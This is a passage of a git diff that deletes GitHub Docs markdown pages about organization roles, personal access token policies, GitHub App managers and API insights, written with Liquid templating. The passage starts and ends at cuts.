hierarchy](/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Pull (read) _all repositories_ in the organization | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| Push (write) and clone (copy) _all repositories_ in the organization | {% octicon "check" aria-label="Yes" %} |{% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Convert organization members to {% ifversion repository-collaborators %}[outside collaborators or repository collaborators](#outside-collaborators-or-repository-collaborators){% else %}[outside collaborators](#outside-collaborators){% endif %} | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| [View people with access to an organization repository](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/viewing-people-with-access-to-your-repository) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| [Export a list of people with access to an organization repository](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/viewing-people-with-access-to-your-repository#exporting-a-list-of-people-with-access-to-your-repository) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| Manage default labels (see [AUTOTITLE](/organizations/managing-organization-settings/managing-default-labels-for-repositories-in-your-organization)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| {% ifversion pull-request-approval-limit %} | -| Manage pull request reviews in the organization (see [AUTOTITLE](/organizations/managing-organization-settings/managing-pull-request-reviews-in-your-organization)) | {% octicon "check" aria-label="Yes" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | -| {% endif %} | - -{% endrowheaders %} - -{% endif %} - -## Further reading - -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization){% ifversion projects-v1 %} -* [AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization){% endif %} diff --git a/content/organizations/managing-peoples-access-to-your-organization-with-roles/using-organization-roles.md b/content/organizations/managing-peoples-access-to-your-organization-with-roles/using-organization-roles.md deleted file mode 100644 index 38cbe0858166..000000000000 --- a/content/organizations/managing-peoples-access-to-your-organization-with-roles/using-organization-roles.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Using organization roles -intro: "Learn how to{% ifversion org-pre-defined-roles %} view organization role permissions and{% endif %} manage organization role assignments." -versions: - fpt: '*' - ghec: '*' - ghes: '>=3.14' -topics: - - Organizations - - Access management - - Administrator - - Permissions -permissions: 'Organization owners{% ifversion ghec %} and users with the "Manage custom organization roles" permission{% endif %}' -product: 'Organizations on {% data variables.product.prodname_free_team %}, {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %}, and {% data variables.product.prodname_ghe_server %}' -shortTitle: Use organization roles ---- - -## About organization roles - -You can have more granular, scalable control over the access you grant to your organization's resources using organization roles. Organization roles grant an organization member or team the ability to take specific actions or manage some settings without granting full administrative control of the organization and its repositories. - -{% ifversion ghec or ghes %} - -In addition to pre-defined roles, you can also create up to 10 custom roles that define groups of permissions. For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles). - -{% endif %} - -{% ifversion org-pre-defined-roles %} - -## About pre-defined organization roles - -{% data reusables.organizations.pre-defined-organization-roles %} - -## Viewing organization role permissions - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the "Access" section of the left sidebar, click **Organization roles**. Then click **Role management**. -1. To the right of any role, click **{% octicon "fold" aria-label="Show role permissions" %}**. -1. Optionally, to hide the role permissions again, click **{% octicon "fold" aria-label="Hide role permissions" %}**. - -{% endif %} - -## Assigning an organization role - -{% ifversion ghec or ghes %} - -The "Manage custom organization roles" permission does not allow a user to assign an organization role. - -{% endif %} - -A user or team can have multiple organization roles. However, you can only assign one role at a time. To assign multiple roles to the same user or team, repeat the following instructions for each role you want to assign. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.custom-org-roles-assign-role-step %} - -## Viewing organization role assignments - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.custom-org-roles-view-assignments-step %} - -## Deleting an organization role assignment - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.custom-org-roles-remove-assignment-step %} diff --git a/content/organizations/managing-programmatic-access-to-your-organization/about-programmatic-access-in-your-organization.md b/content/organizations/managing-programmatic-access-to-your-organization/about-programmatic-access-in-your-organization.md deleted file mode 100644 index 78f84356120f..000000000000 --- a/content/organizations/managing-programmatic-access-to-your-organization/about-programmatic-access-in-your-organization.md +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: About programmatic access in your organization -intro: 'As an organization owner, you can control access to your organization by {% data variables.product.pat_generic %}s, {% data variables.product.prodname_github_apps %}, and {% data variables.product.prodname_oauth_apps %}.' -permissions: Organization owners can control programmatic access in their organization. -topics: - - Organizations - - GitHub Apps - - OAuth apps - - API -shortTitle: About programmatic access -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -## About programmatic access - -{% data variables.product.prodname_github_apps %}, {% data variables.product.prodname_oauth_apps %}, and {% data variables.product.pat_generic %}s can be used to make API requests that read or write resources owned by an organization. As an organization owner, you can control access to your organization by {% data variables.product.prodname_github_apps %}{% ifversion fpt or ghec %}, {% data variables.product.prodname_oauth_apps %},{% endif %} and {% data variables.product.pat_generic %}s. - -## {% data variables.product.prodname_github_apps %} - -Organization owners can install {% data variables.product.prodname_github_apps %} on their organization. Repository admins can also install a {% data variables.product.prodname_github_app %} on the organization if the app does not request organization resources and if they only grant the app access to repositories where they are an admin. Organization members can submit a request for their organization owner to install a {% data variables.product.prodname_github_app %} on the organization. For more information, see {% ifversion fpt or ghec %}[AUTOTITLE](/apps/using-github-apps/installing-an-app-in-your-organization).{% else %}[AUTOTITLE](/apps/maintaining-github-apps/installing-github-apps).{% endif %} - -Organization owners can prevent outside collaborators from requesting {% data variables.product.prodname_github_apps %} or from installing a {% data variables.product.prodname_github_app %} even if the collaborator is a repository admin. For more information, see [AUTOTITLE](/organizations/managing-programmatic-access-to-your-organization/limiting-oauth-app-and-github-app-access-requests). - -Organization owners can review the {% data variables.product.prodname_github_apps %} that are installed on their organization and modify the repositories that each app can access. For more information, see [AUTOTITLE](/organizations/managing-programmatic-access-to-your-organization/reviewing-github-apps-installed-in-your-organization). - -To help maintain {% data variables.product.prodname_github_apps %} owned by their organization, organization owners can designate other users in their organization as {% data variables.product.prodname_github_app %} managers. {% data variables.product.prodname_github_app %} managers can manage the settings of some or all of the {% data variables.product.prodname_github_apps %} that are owned by the organization. The {% data variables.product.prodname_github_app %} manager role does not grant users permission to install {% data variables.product.prodname_github_apps %} on an organization. For more information, see [AUTOTITLE](/organizations/managing-programmatic-access-to-your-organization/adding-and-removing-github-app-managers-in-your-organization). - -{% ifversion fpt or ghec %} - -## {% data variables.product.prodname_oauth_apps %} - -Organization managers can restrict {% data variables.product.prodname_oauth_apps %} from accessing organization resources. When these restrictions are enabled, organization members and outside collaborators can still request approval for individual {% data variables.product.prodname_oauth_apps %}. For more information, see [AUTOTITLE](/organizations/managing-oauth-access-to-your-organizations-data/about-oauth-app-access-restrictions). - -{% endif %} - -## {% data variables.product.pat_generic_caps %}s - -Organization owners can prevent {% data variables.product.pat_v2 %}s and {% data variables.product.pat_v1_plural %} from accessing resources owned by the organization. Organization owners can also require approval for each {% data variables.product.pat_v2 %} that can access the organization. For more information, see [AUTOTITLE](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization). - -Organization owners can view all {% data variables.product.pat_v2 %}s that can access resources owned by the organization. Organization owners can also revoke access by {% data variables.product.pat_v2 %}s. For more information, see [AUTOTITLE](/organizations/managing-programmatic-access-to-your-organization/reviewing-and-revoking-personal-access-tokens-in-your-organization). - -{% ifversion ghec %} - -If their organization uses SAML, organization owners can see each {% data variables.product.pat_generic %} that a member of their organization authorized. For more information, see [AUTOTITLE](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-authorized-credentials). - -{% endif %} - -{% ifversion ghes %} - -Site administrators can use the REST API to manage {% data variables.product.pat_generic %}s in their enterprise. For more information, see [AUTOTITLE](/rest/enterprise-admin/users). - -{% endif %} diff --git a/content/organizations/managing-programmatic-access-to-your-organization/adding-and-removing-github-app-managers-in-your-organization.md b/content/organizations/managing-programmatic-access-to-your-organization/adding-and-removing-github-app-managers-in-your-organization.md deleted file mode 100644 index c97c78e5360c..000000000000 --- a/content/organizations/managing-programmatic-access-to-your-organization/adding-and-removing-github-app-managers-in-your-organization.md +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Adding and removing GitHub App managers in your organization -intro: 'Organization owners can grant or revoke access for a user to manage some or all of the {% data variables.product.prodname_github_apps %} owned by the organization.' -redirect_from: - - /articles/adding-github-app-managers-in-your-organization - - /github/setting-up-and-managing-organizations-and-teams/adding-github-app-managers-in-your-organization - - /organizations/managing-access-to-your-organizations-apps/adding-github-app-managers-in-your-organization - - /articles/removing-github-app-managers-from-your-organization - - /github/setting-up-and-managing-organizations-and-teams/removing-github-app-managers-from-your-organization - - /organizations/managing-access-to-your-organizations-apps/removing-github-app-managers-from-your-organization - - /organizations/managing-programmatic-access-to-your-organization/adding-github-app-managers-in-your-organization - - /organizations/managing-programmatic-access-to-your-organization/removing-github-app-managers-from-your-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams - - GitHub Apps -shortTitle: GitHub App managers ---- - -## About {% data variables.product.prodname_github_app %} managers - -{% data reusables.apps.github-app-managers %} - -## Giving someone the ability to manage all {% data variables.product.prodname_github_apps %} owned by the organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.github-apps-settings-sidebar %} -1. At the bottom of the "Management" section, in the search field, type the username of the person you want to designate as a {% data variables.product.prodname_github_app %} manager in the organization, then click **Grant**. - -## Giving someone the ability to manage an individual {% data variables.product.prodname_github_app %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.github-apps-settings-sidebar %} -1. Under "{% data variables.product.prodname_github_apps %}", click on the avatar of the app you'd like to add a {% data variables.product.prodname_github_app %} manager for. -{% data reusables.organizations.app-managers-settings-sidebar %} -1. At the bottom of the "App managers" section, in the search field, type the username of the person you want to designate as a GitHub App manager for the app, then click **Grant**. - -## Removing a {% data variables.product.prodname_github_app %} manager's permissions for the entire organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.github-apps-settings-sidebar %} -1. Under "Management", next to the person you want to remove {% data variables.product.prodname_github_app %} manager permissions from, click **Revoke**. - -## Removing a {% data variables.product.prodname_github_app %} manager's permissions for an individual {% data variables.product.prodname_github_app %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.github-apps-settings-sidebar %} -1. Under "{% data variables.product.prodname_github_apps %}", click on the avatar of the app you'd like to remove a {% data variables.product.prodname_github_app %} manager from. -{% data reusables.organizations.app-managers-settings-sidebar %} -1. Under "App managers", next to the person you want to remove {% data variables.product.prodname_github_app %} manager permissions from, click **Revoke**. diff --git a/content/organizations/managing-programmatic-access-to-your-organization/index.md b/content/organizations/managing-programmatic-access-to-your-organization/index.md deleted file mode 100644 index 305ee87228de..000000000000 --- a/content/organizations/managing-programmatic-access-to-your-organization/index.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Managing programmatic access to your organization -intro: 'As an organization owner, you can control access by apps and {% data variables.product.pat_generic %}s to your organization.' -redirect_from: - - /articles/managing-access-to-your-organization-s-apps - - /articles/managing-access-to-your-organizations-apps - - /github/setting-up-and-managing-organizations-and-teams/managing-access-to-your-organizations-apps - - /organizations/managing-access-to-your-organizations-apps -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -children: - - /about-programmatic-access-in-your-organization - - /adding-and-removing-github-app-managers-in-your-organization - - /reviewing-github-apps-installed-in-your-organization - - /setting-a-personal-access-token-policy-for-your-organization - - /managing-requests-for-personal-access-tokens-in-your-organization - - /reviewing-and-revoking-personal-access-tokens-in-your-organization - - /limiting-oauth-app-and-github-app-access-requests - - /viewing-api-insights-in-your-organization -shortTitle: Manage programmatic access ---- diff --git a/content/organizations/managing-programmatic-access-to-your-organization/limiting-oauth-app-and-github-app-access-requests.md b/content/organizations/managing-programmatic-access-to-your-organization/limiting-oauth-app-and-github-app-access-requests.md deleted file mode 100644 index 43aaf45898d7..000000000000 --- a/content/organizations/managing-programmatic-access-to-your-organization/limiting-oauth-app-and-github-app-access-requests.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Limiting OAuth app and GitHub App access requests -intro: 'As an organization owner, you can choose whether to allow outside collaborators to request organization access for {% data variables.product.prodname_oauth_apps %} and {% data variables.product.prodname_github_apps %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -permissions: Organization owners can limit who can make app access requests to the organization. -topics: - - Organizations - - GitHub Apps - - OAuth apps -shortTitle: Limit app access requests -redirect_from: - - /organizations/managing-organization-settings/limiting-oauth-app-and-github-app-access-requests ---- - -## About integration access requests - -When integration access requests are enabled, outside collaborators can request organization access for {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} which have not yet been approved by your organization. If you disable integration access requests, only organization members will be able to request organization access for unapproved {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %}. Outside collaborators will still be able to consent to pre-approved {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} accessing the same resources the requesting outside collaborator has access to. - -By default, integration access requests are enabled. If your organization has a large number of outside collaborators, you may want to disable integration access requests, to reduce the number of requests you have to review. - -## Enabling or disabling integration access requests - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.profile.org_member_privileges %} -1. Under "Integration access requests" select or deselect **Allow integration requests from outside collaborators** and click **Save**. diff --git a/content/organizations/managing-programmatic-access-to-your-organization/managing-requests-for-personal-access-tokens-in-your-organization.md b/content/organizations/managing-programmatic-access-to-your-organization/managing-requests-for-personal-access-tokens-in-your-organization.md deleted file mode 100644 index b7d252e7ffda..000000000000 --- a/content/organizations/managing-programmatic-access-to-your-organization/managing-requests-for-personal-access-tokens-in-your-organization.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Managing requests for personal access tokens in your organization -intro: 'Organization owners can approve or deny {% data variables.product.pat_v2 %}s that request access to their organization.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Manage token requests ---- - -## About {% data variables.product.pat_v2 %} requests - -When organization members create a {% data variables.product.pat_v2 %} to access resources owned by the organization, if the organization requires approval for {% data variables.product.pat_v2 %}s, then an organization owner must approve the token before it can be used to access any resources that are not public. For more information, see [AUTOTITLE](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization). - -{% data variables.product.company_short %} will notify organization owners with a daily email about all {% data variables.product.pat_v2 %}s that are awaiting approval. When a token is denied or approved, the user who created the token will receive an email notification. - -> [!NOTE] -> Only {% data variables.product.pat_v2 %}s, not {% data variables.product.pat_v1_plural %}, are subject to approval. Unless the organization has restricted access by {% data variables.product.pat_v1_plural %}, any {% data variables.product.pat_v1 %} can access organization resources without prior approval. For more information, see [AUTOTITLE](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization). - -Organization owners can also use the REST API to review and manage {% data variables.product.pat_v2 %} requests. These endpoints can only be called by {% data variables.product.prodname_github_apps %}, and cannot be called with {% data variables.product.pat_generic_plural %} or {% data variables.product.prodname_oauth_apps %}. For more information, see [AUTOTITLE](/rest/orgs/orgs#list-requests-to-access-organization-resources-with-fine-grained-personal-access-tokens). - -## Managing {% data variables.product.pat_v2 %} requests - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the left sidebar, under **{% octicon "key" aria-hidden="true" %} {% data variables.product.pat_generic_caps %}s**, click **Pending requests**. If any tokens are pending approval for your organization, they will be displayed. -1. Click the name of the token that you want to approve or deny. -1. Review the access and permissions that the token is requesting. -1. To grant the token access to the organization, click **Approve**. To deny the token access to the organization, click **Deny**. -1. If you denied the request, in the confirmation box, optionally enter the reason that you denied the token. This reason will be shared in the notification that is sent to the token owner. Then, click **Deny**. - -Alternatively, you can approve or deny multiple tokens at once: - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the left sidebar, under **{% octicon "key" aria-hidden="true" %} {% data variables.product.pat_generic_caps %}s**, click **Pending requests**. If any tokens are pending approval for your organization, they will be displayed. -{% data reusables.user-settings.patv2-filters %} -1. Select each token that you want to approve or reject. -1. Select the **request selected...** dropdown menu and click **Approve...** or **Deny...**. diff --git a/content/organizations/managing-programmatic-access-to-your-organization/reviewing-and-revoking-personal-access-tokens-in-your-organization.md b/content/organizations/managing-programmatic-access-to-your-organization/reviewing-and-revoking-personal-access-tokens-in-your-organization.md deleted file mode 100644 index 3a1d445d68c3..000000000000 --- a/content/organizations/managing-programmatic-access-to-your-organization/reviewing-and-revoking-personal-access-tokens-in-your-organization.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Reviewing and revoking personal access tokens in your organization -intro: 'Organization owners can review the {% data variables.product.pat_v2 %}s that can access their organization. They can also revoke access of specific {% data variables.product.pat_v2 %}s.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Review token access ---- - -## About reviewing and revoking {% data variables.product.pat_v2 %}s - -Organization owners can view all {% data variables.product.pat_v2 %}s that can access resources owned by the organization. Organization owners can also revoke access by {% data variables.product.pat_v2 %}s. When a {% data variables.product.pat_v2 %} is revoked, SSH keys created by the token will continue to work and the token will still be able to read public resources within the organization. - -When a token is revoked, the user who created the token will receive an email notification. - -Organization owners can only view and revoke {% data variables.product.pat_v2_plural %} in this UI, not {% data variables.product.pat_v1_plural %}. Unless the organization {% ifversion ghec or ghes %}or enterprise {% endif %}has restricted access by {% data variables.product.pat_v1_plural %}, any {% data variables.product.pat_v1 %} can access organization resources until the token expires. For more information about restricting access by {% data variables.product.pat_v1_plural %}, see [AUTOTITLE](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization){% ifversion ghec or ghes %} and [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise){% endif %}. - -{% ifversion ghec %} Organization owners can also view and revoke {% data variables.product.pat_v1_plural %} if their organization requires SAML single-sign on. For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise#viewing-and-revoking-authorized-credentials). For more information about using the REST API to do this, see [List SAML SSO authorizations for an organization](/rest/orgs/orgs#list-saml-sso-authorizations-for-an-organization) and [Remove a SAML SSO authorization for an organization](/rest/orgs/orgs#remove-a-saml-sso-authorization-for-an-organization).{% endif %} - -Organization owners can also use the REST API to review and revoke {% data variables.product.pat_v2 %}s. These endpoints can only be called by {% data variables.product.prodname_github_apps %}, and cannot be called with {% data variables.product.pat_generic_plural %} or {% data variables.product.prodname_oauth_apps %}. For more information, see [AUTOTITLE](/rest/orgs/orgs#list-fine-grained-personal-access-tokens-with-access-to-organization-resources). - -## Reviewing and revoking {% data variables.product.pat_v2 %}s - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the left sidebar, under **{% octicon "key" aria-hidden="true" %} {% data variables.product.pat_generic_caps %}s**, click **Active tokens**. Any {% data variables.product.pat_v2 %}s that can access your organization will be displayed. -1. Click the name of the token that you want review or revoke. -1. Review the access and permissions that the token has. -1. To revoke access by the token to the organization, click **Revoke**. - -Alternatively, you can revoke multiple tokens at once: - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the left sidebar, under **{% octicon "key" aria-hidden="true" %} {% data variables.product.pat_generic_caps %}s**, click **Active tokens**. Any {% data variables.product.pat_v2 %}s that can access your organization will be displayed. -{% data reusables.user-settings.patv2-filters %} -1. Select each token that you want to revoke. -1. Select the **tokens selected...** dropdown menu and click **Revoke...**. diff --git a/content/organizations/managing-programmatic-access-to-your-organization/reviewing-github-apps-installed-in-your-organization.md b/content/organizations/managing-programmatic-access-to-your-organization/reviewing-github-apps-installed-in-your-organization.md deleted file mode 100644 index 3a86a6e58eae..000000000000 --- a/content/organizations/managing-programmatic-access-to-your-organization/reviewing-github-apps-installed-in-your-organization.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Reviewing GitHub Apps installed in your organization -intro: "You can review the permissions and change the repository access for {% data variables.product.prodname_github_apps %} installed on your organization. You can also temporarily or permanently prevent a {% data variables.product.prodname_github_app %} from accessing resources owned by your organization." -redirect_from: - - /articles/reviewing-your-organization-s-installed-integrations - - /articles/reviewing-your-organizations-installed-integrations - - /github/setting-up-and-managing-organizations-and-teams/reviewing-your-organizations-installed-integrations - - /organizations/keeping-your-organization-secure/reviewing-your-organizations-installed-integrations - - /organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-your-organizations-installed-integrations - - /organizations/managing-programmatic-access-to-your-organization/reviewing-your-organizations-installed-integrations -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Review installed GitHub Apps ---- - -Organization owners can review the {% data variables.product.prodname_github_apps %} that are installed on their organization. They can view the permissions granted to the app and change the repositories that the {% data variables.product.prodname_github_app %} can access. They can also suspend or delete the {% data variables.product.prodname_github_app %} to prevent the app from accessing resources owned by the organization. For more information, see [AUTOTITLE](/apps/using-github-apps/reviewing-and-modifying-installed-github-apps). - -Organization owners can also use the REST API to view the {% data variables.product.prodname_github_apps %} installed on their organization, along with the permissions and repository access granted to each {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/rest/orgs/orgs#list-app-installations-for-an-organization). diff --git a/content/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization.md b/content/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization.md deleted file mode 100644 index 25d0e8b492cc..000000000000 --- a/content/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Setting a personal access token policy for your organization -intro: 'Organization owners can control access to resources by applying policies to {% data variables.product.pat_generic_plural %}' -versions: - fpt: '*' - ghes: '>3.10' - ghec: '*' -shortTitle: Set a token policy ---- - -## Restricting access by {% data variables.product.pat_generic_plural %} - -Organization owners can prevent {% data variables.product.pat_generic_plural %} from accessing resources owned by the organization with the following options: -* **Restrict access via {% data variables.product.pat_generic_plural %}:** {% data variables.product.pat_v1_caps_plural %} or {% data variables.product.pat_v2_plural %} cannot access resources owned by the organization. SSH keys created by {% data variables.product.pat_generic_plural %} will continue to work. -* **Allow access via {% data variables.product.pat_generic_plural %}:** {% data variables.product.pat_v1_caps_plural %} or {% data variables.product.pat_v2_plural %} can access resources owned by the organization. - -Regardless of the chosen policy, {% data variables.product.pat_generic_caps_plural %} will have access to public resources within the organization. {% ifversion fpt or ghec or ghes > 3.16 %}By default, both {% data variables.product.pat_v1_caps_plural %} and {% data variables.product.pat_v2_plural %} are enabled.{% endif %} - -{% ifversion ghec or ghes %} If your organization is owned by an enterprise, and your enterprise owner has restricted access by {% data variables.product.pat_generic_caps_plural %}, you cannot override the policy in your organization. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise).{% endif %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the left sidebar, under **{% octicon "key" aria-hidden="true" %} {% data variables.product.pat_generic_caps %}s**, click **Settings**. {% ifversion tabbed-pat-settings-ui %} -1. Select either the **Fine-grained tokens** or **Tokens (classic)** tab to enforce this policy based on the token type. {% endif %} -1. Under **{% data variables.product.pat_v2_caps_plural %}** or **Restrict {% data variables.product.pat_v1_plural %} from accessing your organizations**, select your access policy. -1. Click **Save**. - -{% ifversion pats-maximum-lifetime %} - -## Enforcing a maximum lifetime policy for {% data variables.product.pat_generic_plural %} - -Organization owners can set maximum lifetime allowances for both {% data variables.product.pat_v2_plural %} and {% data variables.product.pat_v1_plural %} to control access to organization resources. {% ifversion ghec or ghes %} However, these policies cannot exceed the maximum lifetime set at the enterprise level or disable the expiration policy set at the enterprise level. See [Enforcing a maximum lifetime policy for {% data variables.product.pat_generic_plural %}](/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise#enforcing-a-maximum-lifetime-policy-for-personal-access-tokens) {% endif %} - -For {% data variables.product.pat_v2_plural %}, the default the maximum lifetime policy for organizations is set to expire within 366 days. {% data variables.product.pat_v1_caps_plural %} do not have an expiration requirement. - -When you set a policy, tokens with non-compliant lifetimes will be blocked from accessing your organization if the token belongs to a member of your organization. Setting this policy does not revoke or disable these tokens. Users will learn that their existing token is non-compliant when API calls for your organization are rejected. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the left sidebar, click **{% octicon "key" aria-hidden="true" %} {% data variables.product.pat_generic_caps %}s**. -1. Select either the **Fine-grained tokens** or **Tokens (classic)** tab to enforce this policy based on the token type. -1. Under **Set maximum lifetimes for {% data variables.product.pat_generic_plural %}**, set the maximum lifetime. -1. Click **Save**. -{% endif %} - -## Enforcing an approval policy for {% data variables.product.pat_v2_plural %} - -Organization owners can manage approval requirements for each {% data variables.product.pat_v2 %} that can access the organization with the following options: - * **Require administrator approval:** An organization owner must approve each {% data variables.product.pat_v2 %} that can access the organization. {% data variables.product.pat_v2_caps_plural %} created by organization owners will not need approval. This is the default value. - * **Do not require administrator approval:** {% data variables.product.pat_v2_caps %}s created by organization members can access resources in the organization without prior approval. - -{% data variables.product.pat_v2_caps_plural %} will still be able to read public resources within the organization without approval. - -{% ifversion ghec or ghes %} If your organization is owned by an enterprise, and your enterprise owner has set an approval policy for {% data variables.product.pat_v2 %}s, then you cannot override the policy in your organization. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise).{% endif %} - -> [!NOTE] -> Only {% data variables.product.pat_v2_plural %}, not {% data variables.product.pat_v1_plural %}, are subject to approval. Unless the organization has restricted access by {% data variables.product.pat_v1_plural %}, any {% data variables.product.pat_v1 %} can access organization resources without prior approval. For more information, see [Restricting access by {% data variables.product.pat_generic_plural %}](#restricting-access-by-personal-access-tokens) on this page. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the left sidebar, under **{% octicon "key" aria-hidden="true" %} {% data variables.product.pat_generic_caps %}s**, click **Settings**. {% ifversion tabbed-pat-settings-ui %} -1. Select the **Fine-grained tokens** tab. {% endif %} -1. Under **Require approval of {% data variables.product.pat_v2_plural %}**, select the option that meets your needs: -1. Click **Save**. diff --git a/content/organizations/managing-programmatic-access-to-your-organization/viewing-api-insights-in-your-organization.md b/content/organizations/managing-programmatic-access-to-your-organization/viewing-api-insights-in-your-organization.md deleted file mode 100644 index e69d4bd55091..000000000000 --- a/content/organizations/managing-programmatic-access-to-your-organization/viewing-api-insights-in-your-organization.md +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Viewing API insights in your organization -shortTitle: Viewing API insights -intro: "You can view REST API activity for your entire organization or specific apps and users." -permissions: 'Organization owners and users with the "View organization API insights" permission.' -product: 'Your organization must be on a {% data variables.product.prodname_ghe_cloud %} plan.' -versions: - feature: 'api-insights' -topics: - - API - - Organizations - - REST ---- - -## About API insights - -As a {% data variables.product.prodname_ghe_cloud %} organization owner, you and your designated users can view REST API activity for your entire organization or specific apps and users. This helps you understand the sources of your REST API activity and manage against your primary rate limits, giving you visibility into the timeframe, apps, and API endpoints involved. To learn more about primary rate limits, see [AUTOTITLE](/rest/using-the-rest-api/rate-limits-for-the-rest-api#about-primary-rate-limits). - -> [!NOTE] Currently, this feature supports only the `core` category of REST API endpoints and primary rate limits. API activity for search, {% data variables.product.prodname_actions %} (using the [`GITHUB_TOKEN`](/actions/security-for-github-actions/security-guides/automatic-token-authentication) secret), and secondary rate-limiting are not supported. For information about API categories, see [AUTOTITLE](/rest/rate-limit/rate-limit). To learn more about primary and secondary rate limits, see [AUTOTITLE](/rest/using-the-rest-api/rate-limits-for-the-rest-api). - -## Enabling access to API insights - -Organization owners can create custom organization roles to allow people to view API insights for their organization. To provide users with access, select the **View organization API insights** permission when creating a custom organization role. Then assign the custom role to an organization member or team. For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles). - ->[!WARNING] Granting access to organization non-owners will allow them to view API insights for all users and apps in the organization, so privacy should be considered. - -## Understanding API insights aggregation - -The time period selection feature allows you to view API insights over predefined periods or a custom period, as detailed in the following table. By default, data is presented in Coordinated Universal Time (UTC). You can change the data displayed from UTC to your browser's time zone in the "Period" drop down menu at the top-right of the page. - -{% rowheaders %} - -| Period | Description | -|-----------------|------------------------------------------------------------------------------------------------------------| -| Last 30 minutes | Data from the last 30 minutes to when the page is viewed. | -| Last 1 hour | Data from the last 1 hour to when the page is viewed. | -| Last 3 hours | Data from the last 3 hours to when the page is viewed. | -| Last 12 hours | Data from the last 12 hours to when the page is viewed. | -| Last 24 hours | (Default) Data from the 